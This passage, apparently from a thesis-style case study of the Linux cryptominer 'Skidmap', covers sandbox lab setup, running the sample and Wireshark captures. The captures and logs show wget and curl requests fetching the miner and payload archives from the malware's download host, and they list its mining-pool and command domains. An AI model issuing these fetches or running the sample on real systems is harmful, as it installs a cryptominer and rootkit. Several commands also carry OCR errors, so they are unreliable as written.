This last stage of the analysis did not only verify the observations and assumptions made on earlier stages, but also provided with information that fueled back the "Code Analysis" stage.

5.3.1 Lab Modification

The Lab was modified for the analysis of "Skidmap" sample. The need for the files requested to be served as a response, on a simulated environment, was covered with the use of "InetSim". More specifically, the software's capability to return fake files based on a static path was utilized.

Therefore, the ANY.RUN webpages [72] [75] [74] were visited and the desired files ("miner2", "cos8.tar.gz", "cos7.tar.gz") were downloaded to the "REMnux GW" VM. The files were "zipped" and password-protected with the key "infected". The compressed files were copied to the "/var/lib/inetsim/http/fakefiles" folder, "unzipped", and finally deleted through the following series of commands:

- \$ cp ~/Downloads/miner2.zip /var/lib/inetsim/http/fakefiles/miner2.zip
- \$ cp ~/Downloads/cos8.tar.gz.zip /var/lib/inetsim/http/fakefiles/cos8.tar.gz.zip
- \$ cp ~/Downloads/cos7.tar.gz.zip /var/lib/inetsim/http/fakefiles/cos7.tar.gz.zip
- \$ cd /var/lib/inetsim/http/fakefiles/
- \$ sudo 7z x miner2.zip
- \$ sudo 7z x cos8.tar.gz.zip
- \$ sudo 7z x cos7.tar.gz.zip
- \$ sudo rm miner2.zip
- \$ sudo rm cos8.tar.gz.zip
- \$ sudo rm 7z x cos7.tar.gz.zip

Moreover, the scripts that were responsible for the simulated traffic ("inetsim.firewall"), and for the intercepted simulated traffic ("burp_inesim.firewall") should be replaced by new ones. Those were named "inetsim-skidmap.firewall" and "burp_inetsim-skidmap.firewall" respectively. The original files were copied to the new ones with the commands:

- \$ sudo cp inetsim.firewall inetsim-skidmap.firewall
- \$ sudo cp burp_inetsim.firewall burp_inetsim-skidmap.firewall

The correct "InetSim" configuration file ("inetsim-skidmap.conf" and "brup_inetsim-skidmap.conf") and the appropriate command to execute "InetSim" with "/var/lib/inetsim" as the data

directory ("sudo /usr/bin/inetsim --config /etc/inetsim/inetsim.conf --data-dir /var/lib/inetsim") were the only modifications needed to both scripts.

1 inetsim-skidmap.firewall #!/bin/bash # stop existing dnsmasg service sudo /etc/init.d/dnsmasq stop # restore saved interfaces configuration file sudo rm /etc/network/interfaces sudo cp /etc/network/interfaces.backup /etc/network/interfaces # restore saved inetsim configuration files sudo /etc/init.d/inetsim stop sudo rm /etc/inetsim/inetsim.conf sudo cp /etc/inetsim/inetsim-skidmap.conf /etc/inetsim/inetsim.conf # Echo commands and abort on errors set -xeu # Clean sudo /lab/bin/reset-iptables.sh # Define network interfaces: IFACE WAN=eth0 IFACE LAN=eth1 # Set iptable rules iptables -A INPUT -i \$IFACE LAN -p tcp -m comment --comment "Block access to port 22 from Victim" -m tcp --dport 22 -j DROP iptables -t nat -A PREROUTING -i \$IFACE LAN -m comment --comment "Redirect traffic to INetSim" - DNAT -- to-destination 10.0.0.1 # Allow DHCP and DNS requests from LAN # iptables -A INPUT -p udp -i \$IFACE_LAN --dport 67 -j ACCEPT #iptables -A INPUT -p udp -i \$IFACE_LAN --dport 53 -j ACCEPT # Enable packet forwarding echo 1 > /proc/sys/net/ipv4/ip forward #restart networking service sudo /etc/init.d/networking restart # stop existing systemd-resolved service sudo service systemd-resolved stop # disable systemd-resolved service sudo systemctl disable systemd-resolved.service #restart inetsim service #sudo /etc/init.d/inetsim start sudo /usr/bin/inetsim --config /etc/inetsim/inetsim.conf --data-dir /var/lib/inetsim/

Figure 5.3.1.1 – The "inetsim-skidmap.firewall" script

Linux Malware Analysis – A Skidmap case study 1 burp_inetsim-skidmap.firewall #!/bin/bash # stop existing dnsmasg service sudo /etc/init.d/dnsmasg stop # restore saved interfaces configuration file sudo rm /etc/network/interfaces sudo cp /etc/network/interfaces.backup /etc/network/interfaces # restore saved inetsim configuration files sudo /etc/init.d/inetsim stop sudo rm /etc/inetsim/inetsim.conf sudo cp /etc/inetsim/burp_inetsim-skidmap.conf /etc/inetsim/inetsim.conf # Echo commands and abort on errors set -xeu # Clean sudo /lab/bin/reset-iptables.sh # Define network interfaces: IFACE WAN=eth0 IFACE LAN=eth1 # Set iptable rules # Enable packet forwarding echo 1 > /proc/sys/net/ipv4/ip forward #restart networking service sudo /etc/init.d/networking restart # stop existing systemd-resolved service sudo service systemd-resolved stop # disable systemd-resolved service sudo systemctl disable systemd-resolved.service #restart inetsim service #sudo /etc/init.d/inetsim start sudo /usr/bin/inetsim --config /etc/inetsim/inetsim.conf --data-dir /var/lib/inetsim/ Figure 5.3.1.2 – The "burp inetsim-skidmap.firewall" script

On the "inetsim-skidmap.firewall" the "inetsim-skidmap.conf" would be used. However, it was not yet created. Consequently, the "inetsim.conf.backup" file was used as the base to configure the "inetsim-skidmap.conf" to serve the files as needed.

The commands for creating and then opening this file with "scite" text editor, are:

• \$ sudo cp /etc/inetsim/inetsim.conf.backup /etc/inetsim/inetsim-skidmap.conf

\$ sudo scite /etc/inetsim/inetsim-skidmap.conf

The configuration file was modified so that the "REMnux GW" would respond with the files "miner2", "cos8.tar.gz", "cos7.tar.gz" when the appropriate request was sent (Figure 5.3.1.3).



Figure 5.3.1.3 – Modifying "inetsim-skidmap.conf"

For this step, many failed attempts preceded until the appropriate mime type [93] was provided.

Similarly, the "burp_inetsim-skidmap.conf" was created for the needs of "burp_inetsim-skidmap.firewall" file. The "inetsim-burp.conf" was the base of the newly created configuration file, which was later edited using the "scite" text editor. The actual commands are:

- \$ sudo cp /etc/inetsim/inetsim-burp.conf /etc/inetsim/burp_inetsim-skidmap.conf
- \$ sudo scite /etc/inetsim/inetsim-skidmap.conf

The same lines as on the "inetsim-skidmap.conf" were added on the opened file. Those are:

•	http_static_fakefile	/miner2	miner2	application/octet-stream
•	http static fakefile	/cos8.tar.gz	cos8.tar.gz	application/octet-stream

http_static_fakefile /cos7.tar.gz cos7.tar.gz application/octet-stream

Afterwards, the "inetsim-skidmap.firewall" was executed on a "REMnux GW" terminal and the requests were simulated on the "REMnux Analysis" terminal. As shown on the following figure (Figure 5.3.1.4), the responses were the ones that the sample would expect. This process was repeated while "burp_inetsim-skidmap.firewall" and "BurpSuite Community Edition" were running, and the appropriate proxy listeners were applied ("burp_inetsim-proxy_listeners.json"). When every single test met the expectations, a new snapshot was taken.

Linux Malware Analysis – A Skidmap case study

Q ΓŦ. amaryllis@soxband: ~/Downloads Connecting to a.powerofwish.com (a.powerofwish.com)|10.0.0.1|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 2118348 (2.0M) [application/octet-stream] Saving to: 'miner2' miner2 in 0.01s 2021-02-10 10:15:23 (156 MB/s) - 'miner2' saved [2118348/2118348] amaryllis@soxband:~/Downloads\$ file miner2 miner2: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header amaryllis@soxband:~/Downloads\$ wget http://a.powerofwish.com/cos8.tar.gz -2021-02-10 10:15:37-- http://a.powerofwish.com/cos8.tar.gz Resolving a.powerofwish.com (a.powerofwish.com)... 10.0.0.1 Connecting to a.powerofwish.com (a.powerofwish.com)|10.0.0.1|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 13154488 (13M) [application/octet-stream] Saving to: 'cos8.tar.gz cos8.tar.gz in 0.07s 2021-02-10 10:15:37 (170 MB/s) - 'cos8.tar.gz' saved [13154488/13154488] amaryllis@soxband:~/Downloads\$ file cos8.tar.gz cos8.tar.gz: openssl enc'd data with salted password amaryllis@soxband:~/Downloads\$ wget http://a.powerofwish.com/cos7.tar.gz -2021-02-10 10:15:47-- http://a.powerofwish.com/cos7.tar.gz Resolving a.powerofwish.com (a.powerofwish.com)... 10.0.0.1 Connecting to a.powerofwish.com (a.powerofwish.com)|10.0.0.1|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 13779664 (13M) [application/tar+gzip] Saving to: 'cos7.tar.gz in 0.09s cos7.tar.gz 100%[=====>] 13.14M --.-KB/s 2021-02-10 10:15:48 (141 MB/s) - 'cos7.tar.gz' saved [13779664/13779664] amaryllis@soxband:~/Downloads\$ file cos8.tar.gz cos8.tar.gz: openssl enc'd data with salted password Figure 5.3.1.4 – Checking the "InetSim" responses

The following table (Table 5.3.1.1) lists all the ".firewall" scripts, that could be used alongside with the "Ubuntu" VM for the behavioral analysis of the "Skidmap" sample, and matches them with the corresponding "InetSim" configuration file. Additionally, a detailed description of the services that can be provided by executing them (in conjunction with the appropriate proxy listeners of "BurpStite Community Edition") is added on the rightmost column.

Script Name	InetSim configuration file	Description	
internet.firewall	Х	Provides internet access	
burp_internet.firewall	Х	Provides intercepted internet access	
Inetsim.firewall	inetsim.conf.backup	Provides simulated internet access	
burp-inetsim.firewall	inetsim-burp.conf	Provides intercepted simulated internet access	
inetsim-skidmap.firewall	inetsim-skidmap.conf	Provides simulated internet access with custom responses	
burp_inetsim-skidmap.firewall	burp_inetsim-skidmap.conf	Provides intercepted simulated internet access with custom responses	

Table 5.3.1.1 – Available ".firewall" scripts for "Skidmap" analysis

5.3.2 CentOS and Nethserver VMs

Upon completion of the lab modification, the need for an additional VM was identified. The code analysis pointed out that different parts of the malware were executed depending on the OS flavor (5.2.3) and therefore a CentOS/RedHat OS ".iso" file was downloaded.

The 7.9(2009) version of "CentOS" was downloaded in an ".iso" format from the official repository [94] and the installation process was almost identical to the one followed during the "Ubuntu" VM creation (4.4). The major difference beyond the static IP that was assigned (10.0.0.6) was the different package manager that those distros were using. While Debian distributions use "apt", CentOS/RedHat default one is "yum" Thus, the commands used to update the OS were:

• \$ sudo yum check-update

• \$ sudo yum update

The other key difference between "CenOS" and "Ubuntu" VMs is the folder that the certificates are stored as well as the command which should be used in order to update the trusted CAs. The commands which were used to copy the certificate and update the CAs are:

\$ sudo cp ~/Downloads/portswigger.crt /etc/pki/ca-trust/source/anchors/

• \$ sudo update-ca-trust

Before moving forward to the installation of additional tools needed for the behavioral analysis, it was decided to check if any problems would occur during the execution of the sample. In order to download the malware, the appropriate script ("burp_internet.firewall") was run and the corresponding proxy (burp_internet-proxy_listeners.json) listeners were set on "BurpSuite Community Edition". Next, the sample was downloaded, as "p7zip" package did to decompress it. The commands used were [95]:

- \$ sudo yum install epel-release
- \$ sudo yum install p7zip

The "burp_inetsim-skidmap.firewall" was executed and the "burp_inetsimproxy_listeners.json" was selected in order to isolate the environment and simulate the Internet traffic for the "CentOS" VM. Furthermore, the downloaded sample was decompressed (typing the password "infected" when prompted), and execute permissions were provided, using the following commands:

- \$7za x
 - f005c2a40cdb4e020c3542eb51aed5bac0c87b4090545c741e1705fcbc8ca120.zip
- \$ sudo chmod +x
 - f005c2a40cdb4e020c3542eb51aed5bac0c87b4090545c741e1705fcbc8ca120.elf

Considering that the machine was ready for the first execution of the malware, a new snapshot was taken.

Upon running the sample, an error popped indicating that no "network-7.9" file was found, and thus, the "mv" command could not be completed (Figure 5.3.2.1).

amaryllis@localhost:~/Skidmap	- 0	×					
File Edit View Search Terminal Help							
[amaryllis@localhost Skidmap]\$ sudo ./f005c2a40cdb4e020c3542eb51aef5ba	c0c87b	409					
0545c741e1705fcbc8ca120.elf							
[sudo] password for amaryllis:		- 1					
26913+1 records in							
26913+1 records out							
13779664 bytes (14 MB) copied, 0.624733 s, 22.1 MB/s							
/bin/mv: cannot stat 'network-7.9': No such file or directory							
shell-init: error retrieving current directory: getcwd: cannot access	parent	: di					
rectories: No such file or directory							
shell-init: error retrieving current directory: getcwd: cannot access	parent	: di					
rectories: No such file or directory							
shell-init: error retrieving current directory: getcwd: cannot access	parent	: di					
rectories: No such file or directory							
shell-init: error retrieving current directory: getcwd: cannot access	parent	: di					
rectories: No such file or directory							

Figure 5.3.2.1 – Error while moving "network-7.9"

This error triggered a chain of actions that included the examination of "cos7.tar.gz" and "cos8.tar.gz" files (5.2.6), leading to the conclusion that the "cos7" was an abbreviation referring to "CentOS" version 7 and "cos8" to "CentOS" version 8, and the examination of the installation scripts (5.2.7) that were suspected of causing this kind of error.

Taking those facts into consideration, the "7.9" version of "CentOS" was downloaded and since the malware author had not implemented a solution for this version, it was decided to create a new VM based on a previous subversion. Trying to downgrade or trying to download a previous version were ineffective solutions due to broken links and therefore "distrowatch" web page [96] was used to find another distribution based on "CentOS". The VM was shut down and restored to the state prior to malware execution.

The "7.7" version of "Netserver" was downloaded and installed similarly to "CentOS". The downloaded ".iso" image (nethserver-7.7.1908-x86_64.iso) had to be added and selected. During installation, the network was modified so that the IP address "10.0.0.7" would be statically assigned (Figure 5.3.2.2).
			Ec	liting enp0s3				
Con	nection name:	enp0s3						
(General Et	hernet 80	2.1X Security	DCB P	roxy	IPv4 Setting	gs IP	v6 Settings
M	ethod: Manua	al						•
A	ddresses							
	Address		Netmask		Gatew	ay		Add
	10.0.0.7		24		10.0.0.1			Delete
	DNS servers:	10.0.0.1						
:	Search domains	s:						
	DHCP client ID:							
	Require IPv4	4 addressing fo	or this connection	to complete				
				k				Routes
-							Cancel	Save

Linux Malware Analysis – A Skidmap case study

Figure 5.3.2.2 – Assigning IP address to "Nethserver" VM

Additionally, internet connection was provided to the VM though "REMnux GW" to install GUI and therefore enhance user experience during behavioral analysis. The actual command given are [97]:

- \$ sudo yum group list\
- \$ sudo yum groupinstall "GNOME Desktop" "Graphic Administration Tools"
- \$ sudo In -sf /lib/systemd/system/runlevel5.target /etc/systemd/system/default.target
- \$ sudo reboot

After the reboot and logging procedure, the sample and the "p7zip" package were downloaded, the environment was isolated, the sample was decompressed, execution permission was granted to the extracted ELF, and a new snapshot was captured in the exact same way that was previously performed on the "CentOS" VM. When the sample was executed, it was observed that "mv" command would not generate an error anymore and that the "cos7.tar.gz" file and "cos7" directory were located on "/usr/include" directory as expected.

Although the name of the compressed file implied so, it was only at that moment that it was suspected that "cos7.tar.gz" would be functional on "CentOS" version 7 distributions, while "cos8.tar.gz" was targeting "CentOS" version 8 systems. As a result, it was decided to remove the current VM and create a new version 8 system, which was considered as a more convenient option than upgrading the current one. Thus, the version 8.3 (2011) was downloaded from the official webpage [94] and a new "CentOS" VM was created, following the same installation procedure as the previous version.

When installing the additional software needed for the "Behavioral Analysis" stage, the installation of one more dependency was required for the "chkrootkit" installation, comparing to the "Ubuntu" VM; the corresponding "glibc-static" package. On the "Nethserver" VM it was installed by typing:

• \$ sudo yum install glibc-static.x86_64

5.3.3 WireShark

Before the sample was executed on the behavioral analysis VMs ("Ubuntu", "CentOS" and "Nethserver"), the "Wireshark" software was started on the "REMnux GW" VM. The network traffic of "eth1" adapter was captured.

The sample was executed on "Ubuntu" VM in order to analyze its behavior on a "Debian" environment. When the captured traffic was saved and the filter "http" was applied, the malware's attempt to download the cryptocurrency miner program was observed (Figure 5.3.3.1).

										*(eth1									-	•	×	
<u>F</u> ile	<u>E</u> dit	<u>V</u> iew	<u>G</u> o	<u>C</u> aptur	e <u>A</u> r	nalyze	<u>S</u> tati	stics	Tele	ephony	<u>w</u> ir	eless	Tool	s <u>H</u> el	р								
		6	0			1	Q				•	₹			Ð	Q	₽	•					
htt	р																			×		• +	
No.	T 41 1 56 1 58 1 80 2 234 2 ame 8 herne	ime 2.421 2.604 2.633 7.814 7.907 0: 210 t II, t Prot	593472 091570 903693 069900 463978 6 byte Src: tocol	Sourd 10.0 10.0 10.0 10.0 10.0 10.0 Son W PcsCom Versio	ce .0.1 .0.5 .0.1 .0.5 .0.1 ire (pu_87 n 4,	(1728 7:b8:8 Src:	bits), b (08: 10.0.0	Desi 10.0 10.0 10.0 10.0 216 00:27 0.5, 1	tinati 0.0.1 0.0.00000000	on 5 1 5 1 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5), Ds	Pr H H H H	TTP TTP TTP TTP TTP TTP TTP TTP TTP	Leng 39 41 39 21 519 (s) on 519	th Info 3 HTT 5 GET 3 HTT 6 GET 5 HTT inte	P/1.1 / HT P/1.1 /mir P/1.1 rface (08:	200 TP/1 200 er2 200 eth 00:2	0 OK 1 0 OK HTTP. 0 OK 1, ic 7:c8:	(te) (te) /1.1 (app 1 0 :cc:e	kt/htm kt/htm plicat b)	1) 1) ion/		
► Tra ► Hyp	erte	ssion xt Tra	ansfer	Proto	col	L, Src	Port:	4080	92, L	DST PO	ort: 8	10, Se	eq: 1,	ACK:	1, L	en: 1	.50						
	User Acce Acce Host Conn \r\n [Ful [Res	-Agent pt: */ pt-End : a.pd ectior l requ P requ ponse	2 HI t: Wge (*\r\n coding owerof n: Kee uest U uest 1 in fr	r/1.10 t/1.20 wish.co p-Alive RI: htt /1] ame: 23	1.3 (1 tity\ om\r\ e\r\n tp://	inux-≬ kr\n n Ma.powe	gnu)\r erofwi	∖n sh.co	om/mi	.ner2]	-												
0000	08 (00 27	c8 cc	eb 08	00 2	27 87 I	b8 8b	08 00	45 0a	00		' 	· · · · E									-	
0020 0030 0040 0050 0060	00 (00 (01 f 6e (54 5	5a 11 91 9f 6 d5 6b 47 50 2f 74 3a	62 00 6a 00 45 54 31 2e 20 57	50 68 00 01 20 2f 31 0d 67 65	e2 d 01 0 6d 6 0a 5 74 2	54 18 10 6c 08 0a 59 6e 55 73 2f 31	64 00 87 a9 fc e5 65 72 65 72 2e 32	00 05 c7 fe 1f 06 32 20 2d 41 30 2e	64 80 b1 48 67 33	18 8a 54 65 20	b P kGET TP/1.1	00 4 Ph] /m ir L·· Us jet /:	L ner2 H ser-Ag L.20.3	IT Je									
0 2	Er	ncapsu	lation	type (fra	ame.e	encap_	type)	2001	P	acket	5: 273 "http:	· Disp	layed:	8 (2.9	%) · D	roppe	ed: 0	(0.0%) F	rofile:	Defau	ılt	

To filter the network traffic in order to solely display the TCP packets, the keyword "tcp" was applied in the corresponding field in Wireshark. Through that action, it was managed to observe the connections made to the cryptocurrency mining pool "sugar.cpuminerpool.com" (Figure 5.3.2.2).

Linux Malware Analysis – A Skidmap case study

								*e	th1							_ 0	,	×
<u>F</u> ile	<u>E</u> dit	<u>V</u> iew	<u>G</u> o	<u>C</u> apture	<u>A</u> nalyze	<u>S</u> tati	stics T	Felephon <u>y</u>	<u>W</u> irel	ess <u>T</u> oo	ols <u>H</u> elp)						
		6		0203 0310 0222	8	9	ا	• 🖻	<u></u>	Ł		⊕ €		9 0				
, to	р															$\times \rightarrow$	•	+
No.	T 237 2 238 2 239 2 240 2 241 2 242 2 243 2 244 3 245 3 246 3	ime 7.9111 7.9937 8.0004 8.0007 8.0009 8.0009 0.0058 0.0058 2.0095	69031 86538 64619 79989 88778 78393 87811 50567 74774 90746	Source 10.0.0 10.0.0 10.0.0 10.0.0 10.0.0 10.0.0 10.0.0 10.0.0 10.0.0	.5 .1 .5 .5 .5 .5 .1 .5 .5 .5		Destin 10.0. 10.0. 10.0. 10.0. 10.0. 10.0. 10.0. 10.0. 10.0.	0.1 0.5 0.1 0.5 0.1 0.5 0.1 0.5 0.1 0.5 0.1		Protoco TCP TCP DNS DNS TCP TCP TCP TCP TCP TCP	DI Lengt 66 108 124 66 74 54 74 54 74	Info 6 40802 6 80 → 8 Stand 8 Stand 5 57120 4 58892 4 3333 4 58894 3333 55254	<pre></pre>	FIN, A ACK] S TY 0xe TY res [ACK] S [ACK] S [SYN] [RST, [SYN] [RST, [SYN]	CK] Se eq=211 f18 A ponse eq=117 Seq=0 ACK] Seq=0 ACK] Seq=0	q=151 8515 A sugar. 0xef18 Ack=1 Win=6 Seq=1 Win=6 Seq=1 Win=6		
-	Answe Authe Addi Quer:	er RRs prity tional ies lgar.cp	: 0 RRs: (RRs: pumine) 0 erpool.co	om: type	A, cl	ass IN											-
	[Res	[Name [Labe Type: Class ponse	E Leng E Leng Cou A (H Cou A (H Cou Cou Cou Cou Cou Cou Cou Cou Cou Cou	r.cpumin th: 22] nt: 3] ost Addr (0x0001) 40]	ess) (1)												*
0010 0020 0030 0040 0050 0060	00 5 00 0 01 f ee 6 05 7 6f 6	5e bc e 01 df 2 56 91 3 5a 00 2 73 75 6 5f 6c 6	2 40 20 00 32 00 28 ef 57 61 03 63	00 40 06 35 86 c1 00 01 01 18 01 00 72 0c 63 6f 6d 00	69 b2 11 81 08 0a 00 01 70 75 00 01	0a 00 dd 90 fc e5 00 00 6d 69 00 01	00 05 0 7a 14 8 1f b9 8 00 00 0 6e 65 7	Da 00 30 18 01 8a 00 00 72 70	^@.@ 5. 2 j.(sugar.o ol.com	iz pumine	 rp							•
0	Z Te	ext item	(text	, 28 byte	s		Pa	ackets: 27	3 · Disp	layed: 26	55 (97.19	6) · Dro	pped: 0	(0.0%)	Profil	le: Defa	ult	

Figure 5.3.3.2 - TCP connections to "sugar.cpuminer.com"

By analyzing the captured traffic generated by "Nethserver", the "GET" request made for the encrypted and compressed package "cos7.tar.gz" wes identified (Figure 5.3.3.3). This was accomplished by applying the "http" keyword.

								*eth	1					- 0	×
<u>F</u> ile	<u>E</u> dit	<u>V</u> iew	<u>G</u> o	<u>C</u> apture	<u>A</u> nalyze	e <u>S</u> tatis	tics Tel	ephon <u>y W</u> i	reless <u>T</u> ools	s <u>H</u> elp					
		6	9	0101 0110 0110 0111	8		ب ج) 🔮 有	₽	Ð	Q	۹ 🏢			
h	ttp													$\times \rightarrow$	• +
No.	T 1844 7 2439 8	ime . 75120 . 00026	9329	Source).7		Destinat 10.0.0.	ion 1 7	Protocol HTTP HTTP	Length Inf 158 GE 41216 HT	fo T /cosi TP/1.1	7.tar.gz 200 OK	HTTP/1.1	on/tar+	^
	2460 1 2477 1 2486 1	0.0262 0.2917 0.3072	99454 68422 42815	10.0.0 10.0.0 10.0.0).1).1).1		10.0.0. 10.0.0. 10.0.0.	7 7 7	НТТР НТТР НТТР	134 HT 234 HT 134 HT	TP/1.1 TP/1.1 TP/1.1	200 OK 200 OK 200 OK	(text/html (text/html (text/html))	•
 Fi Ei Ii Ti Hi 	rame 1 therne terne ansmi perte GET User Host	844: 1 t II, t Prot ssion xt Tra /cos7. -Agent : a.po	58 by Src: 1 ocol V Contro nsfer tar.gz : curl werofw	tes on w PcsCompu /ersion ol Proto Protoco 2 HTTP/1 L/7.29.0 vish.com	ire (120 _3a:df:: 4, Src: col, Src 1 .1\r\n \r\n \r\n	64 bits) 30 (08:0 10.0.0 c Port:), 158 b 30:27:3a .7, Dst: 46070,	ytes captu :df:30), D 10.0.0.1 Dst Port: 4	red (1264 b st: PcsComp 80, Seq: 1,	its) on i u_c8:cc:e Ack: 1,	nterfac b (08:0 Len: 92	ce eth1, 00:27:c8	id 0 ∶cc∶eb)		
	\r\n [Ful [HTTI [Res	L required P required ponse	est UF est 1/ in fra	RI: http /1] ame: 243	://a.pow 9]	verofwis	h.com/c	os7.tar.gz]							
0040 0050 0060	62 k 67 7 72 2	0b 47 4 7a 20 4 2d 41 6	45 54 48 54 57 65	20 2f 63 54 50 2f 6e 74 3a	6f 73 31 2e 20 63	37 2e 7 31 0d 0 75 72 6	4 61 72 a 55 73 c 2f 37	2e b.GET 65 gz HT 2e r-Age	/c os7.tar TP/ <mark>1.1</mark> …Us nt: cur1/7	e					•
\bigcirc	🗶 Ву	tes 83	-90: Re	equest Ve	ern (htt	p.reques	t.versior	Packets: 3	024 · Display	ed: 16 (0.5	%) · Dro	pped: 6 (0.2%) Prof	le: Defa	ult 🦼
				Fig	ure 5.3.	3.3 – R	equestir	ng for "http	a.powerof	wish.com	/cos7.t	tar.gz"			

The DNS queries where of great importance as they revealed other possible connections that the malware might attempt. The requests that were collected, were addressed to the following URLs which at the time of writing were translated to the corresponding addresses (Table 5.3.3.2). According to "abuseipdb" [98] the translated IP address behind "r1.googleblockchaintechnology.com" has been intensively reported regarding unauthorized use of "pam_unix.so" authentication method

URL	IPv4 Address
a.powerofwish.com	172.67.210.251, 104.21.61.142
info.onlinetalk.tk	unresolved
sugar.cpuminerpool.com	104.168.88.137
info.ipfswallet.tk	unresolved
r1.googleblockchaintechnology.com	122.152.215.115

Moreover, the "Nethserver" VM state was restored using the previous snapshot, and it was decided to provide it with Internet access so that the actual responses could be retrieved. Therefore, the active proxy listeners on "BurpSuite Community Edition" were swapped and "lab/rules/burp_internet.firewall" script was executed on the terminal of "REMnux GW" VM. Nevertheless, no other connections were observed (Figure 5.3.3.4).

,										*eth1									-		3	×
<u>F</u> ile	<u>E</u> dit	<u>V</u> iew	<u>G</u> o <u>(</u>	apture	<u>A</u> nalyze	<u>S</u> tatis	tics	Telephon	n <u>y W</u> ir	eless <u>T</u> o	ols <u>H</u> e	lp										
		6		0101 0110 0110	🗙 🏹	9		۵	•	₽		Ð		Q]	ſ							
	ins																		×	-	•	+
No.	T 2467 1 2468 1 2474 1 2480 1 2491 1 2492 1 2493 1 2494 1 2500 1 3011 1 3012 1	ime 0.09649 0.10381 0.27924 0.85695 0.85696 0.86435 0.86435 0.86903 0.94427 0.96546 1.37852 1.38672 1.53537	2976 3799 8983 6035 0042 8441 7928 8811 6843 3295 1997 2898 1307	Source 10.0.0 10.0.0 10.0.0 10.0.0 10.0.0 10.0.0 10.0.0 10.0.0 10.0.0 10.0.0 10.0.0 10.0.0 10.0.0	7 1 7 7 1 7 1 1 7 1 7 1 7		Dest 10.0 10.0 10.0 10.0 10.0 10.0 10.0 10.	ination 0.0.1 0.0.7 0.0.1 0.0.1 0.0.1 0.0.1 0.0.1 0.0.1 0.0.1 0.0.1 0.0.7 0.0.1 0.0.7 0.0.1 0.0.7 0.0.1 0.0.7 0.0.1 0.0.7 0.0.1		Protoco DNS DNS DNS DNS DNS DNS DNS DNS DNS DNS	ol Leng	ith in B2 S 98 S 98 S 94 S 94 S 94 S 94 S 977 S 93 S 94 S 95 S 98 S 98 S 98 S 98 S 98 S	nfo Standard Standard Standard Standard Standard Standard Standard Standard Standard Standard	query query query query query query query query query query query query	0x9a2f respons 0xe08e respons 0x6547 respons 0x6547 respons 0x7b50 respons 0xf155 respons 0xead5	A sugar e 0x9a2 A info. e 0xe08 A a.pow AAAA a. e 0x64 A sugar e 0x7b5 A sugar e 0x715 A sugar	.cpu f A onli e A erof powe 9 A cpu 0 A .cpu 5 A ipfs	miner sugar netal info. wish. rofwi a.pow AA a. miner sugar miner sugar	pool.cc .cpumin k.tk online com sh.com erofwi: poweroo pool.cc .cpumin t.tk	om nerp talk sh.c fwis om nerp om		
•	3010 1	1.04300	9433	10.0.0	.1		10.0	9.0.7		DNS		94 3	scanuaru	query	respon	e oxeau	SA.	LIIIO.	ipi swa.) er		
	-																					
0	🖉 D	omain Na	ame S	ystem: P	rotocol			Packets	: 3024	 Displayed 	d: 54 (1	.8%) · Selecte	ed: 4 (0).1%) · Di	opped: 6	(0.2	%)	Profile:	Defa	ult	:

Figure 5.3.3.4 – "pamdicks.sugar" DNS queries

It is worth mentioning that although "cos8.tar.gz" was downloaded (Figure 5.3.3.5), the same DNS requests were made.

Linux Malware Analysis – A Skidmap case study

												*eth	1										-		:	×
<u>F</u> ile	<u>E</u> dit	<u>V</u> iew	<u>G</u> o	<u>C</u> aptu	ıre	<u>A</u> nalyz	ze <u>S</u>	tatis	tics	Te	lepho	n <u>y</u>	Wirel	ess <u>T</u>	ools	<u>H</u> e	lp									
		6	۲		101	× (٩	¢)	27	5	2			Ð	E								
h	ttp																						X	-	•	+
No.	Т	ime		Sou	rce				Des	stinat	tion			Prote	ocol	Leng	ith In	fo								
+•	80	.0155	34228	10.	0.0	. 6			10	0.0	.1			HTTF)	1	58 GE	T /0	cos8.	tar.g	z HT	TP/1	.1			
-	535 0	.1853	72751	10.	0.0	.1			10.	0.0	. 6			HTTF)	648	90 HT	TP/1	L.1 2	00 OK	(a	ppli	catio	on/t		
	547 2	.7639	35632	10.	0.0	.1			10.	0.0	.6			HTTP)	1	34 HT	TTP/1	L.1 2	00 OK	(t	ext/	html)			
	589 1	1.242	88828	2 10.	0.0	.1			10.	0.0	.6			HIIF	,	1	34 H	111/1	1.1 2	00 OK	(t	ext/	ntm1))		
•									_																	
	iterne	t Pro	Cont	Versi rol Dr	on 4	i, Src	: 10. rc Do	0.0	.6,	DSt:	10. Det	0.0.:	1	Sog	1	Ack	4	Lon	0.2							-
÷ H	/nerte	xt Tr	ansfe	r Prot		,01, 3	IC FU	<i>// c.</i>	541	50,	Dat	FUL	. 00,	Jey.	1,	ACK.	1,	Len.	52							
• •	GET	cos8	.tar.o	z HTTI	P/1.	1\r\n																				
	Host	: a.po	owerot	wish.	com\	.r∖n																				11
	User	Agent	t: cur	1/7.6	1.1\	.r∖n																				
	Acce	ot: */	/*\r\r	1																						
	[Eu]	l rea	iest I	IRT: ht	ttn:	//a.nc	wero	fwis	sh. c	om/c	058	tar.o	171													
	ТНТТ	requ	uest 1	1/1]	cep.	// urp				01117 0		cur i	2-1													Ŧ
0000	08.6	0.27	c8 cc	eh 08	00	27 4/	1.36	6c 6	0 80	0 45	00			'D61	· · F ·											
0010	00 9	0 26	e4 40	00 40	06	ff 70	1 0a	00 0	0 0	6 0a	00	&	. @ . @ .	.}												
0020	00 0)1 d5	de 00	50 44	75	1a 08	3 7c	89 7	78 0	c 80	18		· ΡĎι	i -č į -	x···											
0030	00 e	e5 1c	e1 00	00 01	01	08 0a	a 37	20 2	2f e	d 24	a8			· · Ż	∕∙\$∙											
0040	52 f	2 47	45 54	20 2f	63	6f 73	3 38	2e 7	74 6	1 72	2e	R∙G	ET /c	: os8.	tar.											
0050	67 7	a 20	48 54	54 50	21	31 26	2 31	0d 6	a_{1}^{2}	8 61	73	gz	HTTP/	1.1	Hos	5										
0000	20 6	3a 20	6d 0d	/0 01 0a 55	72	65 72	2 24	00 / /1 /	376	973 560	08 74	L:	a.pov mlla	eroi	wisi	-										
0080	3a 2	0 63	75 72	6c 2f	37	2e 36	3 31	2e 3	81 0	d 0a	41	: 0	ur1/7	61	1 · · · 4	7										
0090	63 6	3 65	70 74	3a 20	2a	2f 2a	a Od	0a 0	0 b(a		cce	pt: '	/*												
